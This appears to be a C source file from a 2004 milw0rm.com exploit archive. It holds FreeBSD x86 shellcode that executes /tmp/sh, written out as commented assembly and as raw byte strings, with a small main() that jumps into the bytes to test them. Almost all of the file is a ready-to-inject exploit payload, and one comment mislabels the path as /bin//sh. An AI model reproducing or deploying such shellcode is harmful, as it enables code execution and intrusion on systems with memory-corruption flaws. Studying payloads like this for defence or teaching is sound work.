79 lines
No EOL
2.6 KiB
C
79 lines
No EOL
2.6 KiB
C
/*
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* FreeBSD shellcode - execve /tmp/sh
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*
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* Claes M. Nyberg 20020120
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*
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* <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
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*/
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/**********************************************************
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void
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main()
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{
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__asm__("
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xorl %eax, %eax # eax = 0
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pushl %eax # string ends with NULL
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pushl $0x68732f2f # push 'hs//' (//sh)
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pushl $0x706d742f # push 'pmt/' (/tmp)
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movl %esp, %ebx # ebx = argv[0] = string addr
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pushl %eax # argv[1] = NULL
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pushl %ebx # argv[0] = /bin//sh
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movl %esp, %edx # edx = &argv[0]
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pushl %eax # envp = NULL
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pushl %edx # &argv[0]
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pushl %ebx # *path = argv[0]
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pushl %eax # Dummy
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movb $0x3b, %al # al = 59 = execve
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int $0x80 # execve(argv[0], argv, NULL)
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xorl %eax, %eax # eax = 0
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inc %eax # eax++
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pushl %eax # Exit value = 1
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pushl %eax # Dummy
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int $0x80 # exit(1); (eax is 1 = execve)
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");
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}
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************************************************************/
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#include <stdio.h>
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#include <string.h>
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static char freebsd_code[] =
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"\x31\xc0" /* xorl %eax, %eax */
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"\x50" /* pushl %eax */
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"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
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"\x68\x2f\x74\x6d\x70" /* pushl $0x706d742f */
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"\x89\xe3" /* movl %esp, %ebx */
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"\x50" /* pushl %eax */
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"\x53" /* pushl %ebx */
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"\x89\xe2" /* movl %esp, %edx */
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"\x50" /* pushl %eax */
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"\x52" /* pushl %edx */
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"\x53" /* pushl %ebx */
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"\x50" /* pushl %eax */
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"\xb0\x3b" /* movb $0x3b, %al */
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"\xcd\x80" /* int $0x80 */
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"\x31\xc0" /* xorl %eax, %eax */
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"\x40" /* inc %eax */
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"\x50" /* pushl %eax */
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"\x50" /* pushl %eax */
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"\xcd\x80"; /* int $0x80 */
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static char _freebsd_code[] =
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"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
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"\x68\x2f\x74\x6d\x70\x89\xe3\x50"
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"\x53\x89\xe2\x50\x52\x53\x50\xb0"
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"\x3b\xcd\x80\x31\xc0\x40\x50\x50"
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"\xcd\x80";
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void
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main(void)
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{
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void (*code)() = (void *)freebsd_code;
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printf("strlen code: %d\n", strlen(freebsd_code));
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code();
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}
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// milw0rm.com [2004-09-26]
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